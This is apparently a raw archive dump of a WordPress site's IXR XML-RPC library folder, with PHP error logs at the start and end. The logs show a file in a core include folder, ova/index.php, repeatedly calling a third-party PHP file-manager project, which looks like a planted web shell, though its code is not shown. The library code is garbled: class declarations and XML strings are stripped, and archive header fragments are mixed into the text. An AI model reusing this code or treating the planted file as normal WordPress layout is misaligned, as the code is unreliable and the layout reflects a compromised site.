wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 12:26:58 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 12:28:04 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 12:28:05 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 12:29:19 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 12:29:20 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 12:29:21 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 596 [30-Aug-2025 12:29:21 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 597 [30-Aug-2025 12:32:44 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 12:32:47 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 12:33:43 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 12:33:45 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 12:42:59 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 12:43:02 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 13:01:59 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 [30-Aug-2025 13:02:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/ova/index.php on line 91 class-IXR-request.php000064400000001637150545731650010532 0ustar00method = $method; $this->args = $args; $this->xml = << {$this->method} EOD; foreach ($this->args as $arg) { $this->xml .= ''; $v = new IXR_Value($arg); $this->xml .= $v->getXml(); $this->xml .= "\n"; } $this->xml .= ''; } /** * PHP4 constructor. */ public function IXR_Request( $method, $args ) { self::__construct( $method, $args ); } function getLength() { return strlen($this->xml); } function getXml() { return $this->xml; } } class-IXR-introspectionserver.php000064400000012313150545731720013160 0ustar00setCallbacks(); $this->setCapabilities(); $this->capabilities['introspection'] = array( 'specUrl' => 'http://xmlrpc.usefulinc.com/doc/reserved.html', 'specVersion' => 1 ); $this->addCallback( 'system.methodSignature', 'this:methodSignature', array('array', 'string'), 'Returns an array describing the return type and required parameters of a method' ); $this->addCallback( 'system.getCapabilities', 'this:getCapabilities', array('struct'), 'Returns a struct describing the XML-RPC specifications supported by this server' ); $this->addCallback( 'system.listMethods', 'this:listMethods', array('array'), 'Returns an array of available methods on this server' ); $this->addCallback( 'system.methodHelp', 'this:methodHelp', array('string', 'string'), 'Returns a documentation string for the specified method' ); } /** * PHP4 constructor. */ public function IXR_IntrospectionServer() { self::__construct(); } function addCallback($method, $callback, $args, $help) { $this->callbacks[$method] = $callback; $this->signatures[$method] = $args; $this->help[$method] = $help; } function call($methodname, $args) { // Make sure it's in an array if ($args && !is_array($args)) { $args = array($args); } // Over-rides default call method, adds signature check if (!$this->hasMethod($methodname)) { return new IXR_Error(-32601, 'server error. requested method "'.$this->message->methodName.'" not specified.'); } $method = $this->callbacks[$methodname]; $signature = $this->signatures[$methodname]; $returnType = array_shift($signature); // Check the number of arguments if (count($args) != count($signature)) { return new IXR_Error(-32602, 'server error. wrong number of method parameters'); } // Check the argument types $ok = true; $argsbackup = $args; for ($i = 0, $j = count($args); $i < $j; $i++) { $arg = array_shift($args); $type = array_shift($signature); switch ($type) { case 'int': case 'i4': if (is_array($arg) || !is_int($arg)) { $ok = false; } break; case 'base64': case 'string': if (!is_string($arg)) { $ok = false; } break; case 'boolean': if ($arg !== false && $arg !== true) { $ok = false; } break; case 'float': case 'double': if (!is_float($arg)) { $ok = false; } break; case 'date': case 'dateTime.iso8601': if (!is_a($arg, 'IXR_Date')) { $ok = false; } break; } if (!$ok) { return new IXR_Error(-32602, 'server error. invalid method parameters'); } } // It passed the test - run the "real" method call return parent::call($methodname, $argsbackup); } function methodSignature($method) { if (!$this->hasMethod($method)) { return new IXR_Error(-32601, 'server error. requested method "'.$method.'" not specified.'); } // We should be returning an array of types $types = $this->signatures[$method]; $return = array(); foreach ($types as $type) { switch ($type) { case 'string': $return[] = 'string'; break; case 'int': case 'i4': $return[] = 42; break; case 'double': $return[] = 3.1415; break; case 'dateTime.iso8601': $return[] = new IXR_Date(time()); break; case 'boolean': $return[] = true; break; case 'base64': $return[] = new IXR_Base64('base64'); break; case 'array': $return[] = array('array'); break; case 'struct': $return[] = array('struct' => 'struct'); break; } } return $return; } function methodHelp($method) { return $this->help[$method]; } } class-IXR-clientmulticall.php000064400000002357150545731770012232 0ustar00useragent = 'The Incutio XML-RPC PHP Library (multicall client)'; } /** * PHP4 constructor. */ public function IXR_ClientMulticall( $server, $path = false, $port = 80 ) { self::__construct( $server, $path, $port ); } /** * @since 1.5.0 * @since 5.5.0 Formalized the existing `...$args` parameter by adding it * to the function signature. */ function addCall( ...$args ) { $methodName = array_shift($args); $struct = array( 'methodName' => $methodName, 'params' => $args ); $this->calls[] = $struct; } /** * @since 1.5.0 * @since 5.5.0 Formalized the existing `...$args` parameter by adding it * to the function signature. * * @return bool */ function query( ...$args ) { // Prepare multicall, then call the parent::query() method return parent::query('system.multicall', $this->calls); } } class-IXR-message.php000064400000017777150545732040010474 0ustar00message =& $message; } /** * PHP4 constructor. */ public function IXR_Message( $message ) { self::__construct( $message ); } function parse() { if ( ! function_exists( 'xml_parser_create' ) ) { trigger_error( __( "PHP's XML extension is not available. Please contact your hosting provider to enable PHP's XML extension." ) ); return false; } // first remove the XML declaration // merged from WP #10698 - this method avoids the RAM usage of preg_replace on very large messages $header = preg_replace( '/<\?xml.*?\?'.'>/s', '', substr( $this->message, 0, 100 ), 1 ); $this->message = trim( substr_replace( $this->message, $header, 0, 100 ) ); if ( '' == $this->message ) { return false; } // Then remove the DOCTYPE $header = preg_replace( '/^]*+>/i', '', substr( $this->message, 0, 200 ), 1 ); $this->message = trim( substr_replace( $this->message, $header, 0, 200 ) ); if ( '' == $this->message ) { return false; } // Check that the root tag is valid $root_tag = substr( $this->message, 0, strcspn( substr( $this->message, 0, 20 ), "> \t\r\n" ) ); if ( 'message, '<' ) ) { return false; } $this->_parser = xml_parser_create(); // Set XML parser to take the case of tags in to account xml_parser_set_option($this->_parser, XML_OPTION_CASE_FOLDING, false); // Set XML parser callback functions xml_set_element_handler($this->_parser, array($this, 'tag_open'), array($this, 'tag_close')); xml_set_character_data_handler($this->_parser, array($this, 'cdata')); // 256Kb, parse in chunks to avoid the RAM usage on very large messages $chunk_size = 262144; /** * Filters the chunk size that can be used to parse an XML-RPC response message. * * @since 4.4.0 * * @param int $chunk_size Chunk size to parse in bytes. */ $chunk_size = apply_filters( 'xmlrpc_chunk_parsing_size', $chunk_size ); $final = false; do { if (strlen($this->message) <= $chunk_size) { $final = true; } $part = substr($this->message, 0, $chunk_size); $this->message = substr($this->message, $chunk_size); if (!xml_parse($this->_parser, $part, $final)) { xml_parser_free($this->_parser); unset($this->_parser); return false; } if ($final) { break; } } while (true); xml_parser_free($this->_parser); unset($this->_parser); // Grab the error messages, if any if ($this->messageType == 'fault') { $this->faultCode = $this->params[0]['faultCode']; $this->faultString = $this->params[0]['faultString']; } return true; } function tag_open($parser, $tag, $attr) { $this->_currentTagContents = ''; $this->_currentTag = $tag; switch($tag) { case 'methodCall': case 'methodResponse': case 'fault': $this->messageType = $tag; break; /* Deal with stacks of arrays and structs */ case 'data': // data is to all intents and puposes more interesting than array $this->_arraystructstypes[] = 'array'; $this->_arraystructs[] = array(); break; case 'struct': $this->_arraystructstypes[] = 'struct'; $this->_arraystructs[] = array(); break; } } function cdata($parser, $cdata) { $this->_currentTagContents .= $cdata; } function tag_close($parser, $tag) { $valueFlag = false; switch($tag) { case 'int': case 'i4': $value = (int)trim($this->_currentTagContents); $valueFlag = true; break; case 'double': $value = (double)trim($this->_currentTagContents); $valueFlag = true; break; case 'string': $value = (string)trim($this->_currentTagContents); $valueFlag = true; break; case 'dateTime.iso8601': $value = new IXR_Date(trim($this->_currentTagContents)); $valueFlag = true; break; case 'value': // "If no type is indicated, the type is string." if (trim($this->_currentTagContents) != '') { $value = (string)$this->_currentTagContents; $valueFlag = true; } break; case 'boolean': $value = (boolean)trim($this->_currentTagContents); $valueFlag = true; break; case 'base64': $value = base64_decode($this->_currentTagContents); $valueFlag = true; break; /* Deal with stacks of arrays and structs */ case 'data': case 'struct': $value = array_pop($this->_arraystructs); array_pop($this->_arraystructstypes); $valueFlag = true; break; case 'member': array_pop($this->_currentStructName); break; case 'name': $this->_currentStructName[] = trim($this->_currentTagContents); break; case 'methodName': $this->methodName = trim($this->_currentTagContents); break; } if ($valueFlag) { if (count($this->_arraystructs) > 0) { // Add value to struct or array if ($this->_arraystructstypes[count($this->_arraystructstypes)-1] == 'struct') { // Add to struct $this->_arraystructs[count($this->_arraystructs)-1][$this->_currentStructName[count($this->_currentStructName)-1]] = $value; } else { // Add to array $this->_arraystructs[count($this->_arraystructs)-1][] = $value; } } else { // Just add as a parameter $this->params[] = $value; } } $this->_currentTagContents = ''; } } class-IXR-error.php000064400000001526150545732120010161 0ustar00code = $code; $this->message = htmlspecialchars($message); } /** * PHP4 constructor. */ public function IXR_Error( $code, $message ) { self::__construct( $code, $message ); } function getXml() { $xml = << faultCode {$this->code} faultString {$this->message} EOD; return $xml; } } class-IXR-date.php000064400000003233150545732170007747 0ustar00parseTimestamp($time); } else { $this->parseIso($time); } } /** * PHP4 constructor. */ public function IXR_Date( $time ) { self::__construct( $time ); } function parseTimestamp($timestamp) { $this->year = gmdate('Y', $timestamp); $this->month = gmdate('m', $timestamp); $this->day = gmdate('d', $timestamp); $this->hour = gmdate('H', $timestamp); $this->minute = gmdate('i', $timestamp); $this->second = gmdate('s', $timestamp); $this->timezone = ''; } function parseIso($iso) { $this->year = substr($iso, 0, 4); $this->month = substr($iso, 4, 2); $this->day = substr($iso, 6, 2); $this->hour = substr($iso, 9, 2); $this->minute = substr($iso, 12, 2); $this->second = substr($iso, 15, 2); $this->timezone = substr($iso, 17); } function getIso() { return $this->year.$this->month.$this->day.'T'.$this->hour.':'.$this->minute.':'.$this->second.$this->timezone; } function getXml() { return ''.$this->getIso().''; } function getTimestamp() { return mktime($this->hour, $this->minute, $this->second, $this->month, $this->day, $this->year); } } class-IXR-server.php000064400000015016150545732240010340 0ustar00setCapabilities(); if ($callbacks) { $this->callbacks = $callbacks; } $this->setCallbacks(); if (!$wait) { $this->serve($data); } } /** * PHP4 constructor. */ public function IXR_Server( $callbacks = false, $data = false, $wait = false ) { self::__construct( $callbacks, $data, $wait ); } function serve($data = false) { if (!$data) { if (isset($_SERVER['REQUEST_METHOD']) && $_SERVER['REQUEST_METHOD'] !== 'POST') { if ( function_exists( 'status_header' ) ) { status_header( 405 ); // WP #20986 header( 'Allow: POST' ); } header('Content-Type: text/plain'); // merged from WP #9093 die('XML-RPC server accepts POST requests only.'); } $data = file_get_contents('php://input'); } $this->message = new IXR_Message($data); if (!$this->message->parse()) { $this->error(-32700, 'parse error. not well formed'); } if ($this->message->messageType != 'methodCall') { $this->error(-32600, 'server error. invalid xml-rpc. not conforming to spec. Request must be a methodCall'); } $result = $this->call($this->message->methodName, $this->message->params); // Is the result an error? if (is_a($result, 'IXR_Error')) { $this->error($result); } // Encode the result $r = new IXR_Value($result); $resultxml = $r->getXml(); // Create the XML $xml = << $resultxml EOD; // Send it $this->output($xml); } function call($methodname, $args) { if (!$this->hasMethod($methodname)) { return new IXR_Error(-32601, 'server error. requested method '.$methodname.' does not exist.'); } $method = $this->callbacks[$methodname]; // Perform the callback and send the response if (count($args) == 1) { // If only one parameter just send that instead of the whole array $args = $args[0]; } // Are we dealing with a function or a method? if (is_string($method) && substr($method, 0, 5) == 'this:') { // It's a class method - check it exists $method = substr($method, 5); if (!method_exists($this, $method)) { return new IXR_Error(-32601, 'server error. requested class method "'.$method.'" does not exist.'); } //Call the method $result = $this->$method($args); } else { // It's a function - does it exist? if (is_array($method)) { if (!is_callable(array($method[0], $method[1]))) { return new IXR_Error(-32601, 'server error. requested object method "'.$method[1].'" does not exist.'); } } else if (!function_exists($method)) { return new IXR_Error(-32601, 'server error. requested function "'.$method.'" does not exist.'); } // Call the function $result = call_user_func($method, $args); } return $result; } function error($error, $message = false) { // Accepts either an error object or an error code and message if ($message && !is_object($error)) { $error = new IXR_Error($error, $message); } $this->output($error->getXml()); } function output($xml) { $charset = function_exists('get_option') ? get_option('blog_charset') : ''; if ($charset) $xml = ''."\n".$xml; else $xml = ''."\n".$xml; $length = strlen($xml); header('Connection: close'); if ($charset) header('Content-Type: text/xml; charset='.$charset); else header('Content-Type: text/xml'); header('Date: '.gmdate('r')); echo $xml; exit; } function hasMethod($method) { return in_array($method, array_keys($this->callbacks)); } function setCapabilities() { // Initialises capabilities array $this->capabilities = array( 'xmlrpc' => array( 'specUrl' => 'http://www.xmlrpc.com/spec', 'specVersion' => 1 ), 'faults_interop' => array( 'specUrl' => 'http://xmlrpc-epi.sourceforge.net/specs/rfc.fault_codes.php', 'specVersion' => 20010516 ), 'system.multicall' => array( 'specUrl' => 'http://www.xmlrpc.com/discuss/msgReader$1208', 'specVersion' => 1 ), ); } function getCapabilities($args) { return $this->capabilities; } function setCallbacks() { $this->callbacks['system.getCapabilities'] = 'this:getCapabilities'; $this->callbacks['system.listMethods'] = 'this:listMethods'; $this->callbacks['system.multicall'] = 'this:multiCall'; } function listMethods($args) { // Returns a list of methods - uses array_reverse to ensure user defined // methods are listed before server defined methods return array_reverse(array_keys($this->callbacks)); } function multiCall($methodcalls) { // See http://www.xmlrpc.com/discuss/msgReader$1208 $return = array(); foreach ($methodcalls as $call) { $method = $call['methodName']; $params = $call['params']; if ($method == 'system.multicall') { $result = new IXR_Error(-32600, 'Recursive calls to system.multicall are forbidden'); } else { $result = $this->call($method, $params); } if (is_a($result, 'IXR_Error')) { $return[] = array( 'faultCode' => $result->code, 'faultString' => $result->message ); } else { $return[] = array($result); } } return $return; } } error_log000064400000014754150545732310006501 0ustar00[18-May-2025 01:12:29 UTC] PHP Fatal error: Uncaught Error: Class "IXR_Client" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/class-IXR-clientmulticall.php:8 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/class-IXR-clientmulticall.php on line 8 [18-May-2025 04:45:41 UTC] PHP Fatal error: Uncaught Error: Class "IXR_Server" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/class-IXR-introspectionserver.php:9 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/class-IXR-introspectionserver.php on line 9 [19-May-2025 13:25:23 UTC] PHP Fatal error: Uncaught Error: Class "IXR_Client" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/class-IXR-clientmulticall.php:8 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/class-IXR-clientmulticall.php on line 8 [19-May-2025 17:32:10 UTC] PHP Fatal error: Uncaught Error: Class "IXR_Server" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/class-IXR-introspectionserver.php:9 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/class-IXR-introspectionserver.php on line 9 [04-Jun-2025 19:20:22 UTC] PHP Fatal error: Uncaught Error: Class "IXR_Client" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/class-IXR-clientmulticall.php:8 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/class-IXR-clientmulticall.php on line 8 [04-Jun-2025 23:04:46 UTC] PHP Fatal error: Uncaught Error: Class "IXR_Server" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/class-IXR-introspectionserver.php:9 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/class-IXR-introspectionserver.php on line 9 [13-Jun-2025 03:06:39 UTC] PHP Fatal error: Uncaught Error: Class "IXR_Client" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/class-IXR-clientmulticall.php:8 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/class-IXR-clientmulticall.php on line 8 [14-Jun-2025 09:51:38 UTC] PHP Fatal error: Uncaught Error: Class "IXR_Server" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/class-IXR-introspectionserver.php:9 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/class-IXR-introspectionserver.php on line 9 [16-Jun-2025 08:37:52 UTC] PHP Fatal error: Uncaught Error: Class "IXR_Client" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/class-IXR-clientmulticall.php:8 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/class-IXR-clientmulticall.php on line 8 [28-Jun-2025 03:30:43 UTC] PHP Fatal error: Uncaught Error: Class "IXR_Client" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/class-IXR-clientmulticall.php:8 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/class-IXR-clientmulticall.php on line 8 [28-Jun-2025 07:12:02 UTC] PHP Fatal error: Uncaught Error: Class "IXR_Server" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/class-IXR-introspectionserver.php:9 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/class-IXR-introspectionserver.php on line 9 [11-Jul-2025 09:46:34 UTC] PHP Fatal error: Uncaught Error: Class "IXR_Client" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/class-IXR-clientmulticall.php:8 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/class-IXR-clientmulticall.php on line 8 [11-Jul-2025 09:56:02 UTC] PHP Fatal error: Uncaught Error: Class "IXR_Server" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/class-IXR-introspectionserver.php:9 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/class-IXR-introspectionserver.php on line 9 [17-Aug-2025 22:26:36 UTC] PHP Fatal error: Uncaught Error: Class "IXR_Server" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/class-IXR-introspectionserver.php:9 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/class-IXR-introspectionserver.php on line 9 [17-Aug-2025 22:32:02 UTC] PHP Fatal error: Uncaught Error: Class "IXR_Client" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/class-IXR-clientmulticall.php:8 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/class-IXR-clientmulticall.php on line 8 [19-Aug-2025 17:08:19 UTC] PHP Fatal error: Uncaught Error: Class "IXR_Client" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/class-IXR-clientmulticall.php:8 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/class-IXR-clientmulticall.php on line 8 [19-Aug-2025 19:33:42 UTC] PHP Fatal error: Uncaught Error: Class "IXR_Server" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/class-IXR-introspectionserver.php:9 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/class-IXR-introspectionserver.php on line 9 [29-Aug-2025 22:11:00 UTC] PHP Fatal error: Uncaught Error: Class "IXR_Server" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/class-IXR-introspectionserver.php:9 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/class-IXR-introspectionserver.php on line 9 [29-Aug-2025 22:12:32 UTC] PHP Fatal error: Uncaught Error: Class "IXR_Client" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/class-IXR-clientmulticall.php:8 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/class-IXR-clientmulticall.php on line 8 [29-Aug-2025 22:17:07 UTC] PHP Fatal error: Uncaught Error: Class "IXR_Client" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/class-IXR-clientmulticall.php:8 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/class-IXR-clientmulticall.php on line 8 [29-Aug-2025 22:25:40 UTC] PHP Fatal error: Uncaught Error: Class "IXR_Server" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/class-IXR-introspectionserver.php:9 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/class-IXR-introspectionserver.php on line 9 [29-Aug-2025 22:29:10 UTC] PHP Fatal error: Uncaught Error: Class "IXR_Client" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/class-IXR-clientmulticall.php:8 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/IXR/class-IXR-clientmulticall.php on line 8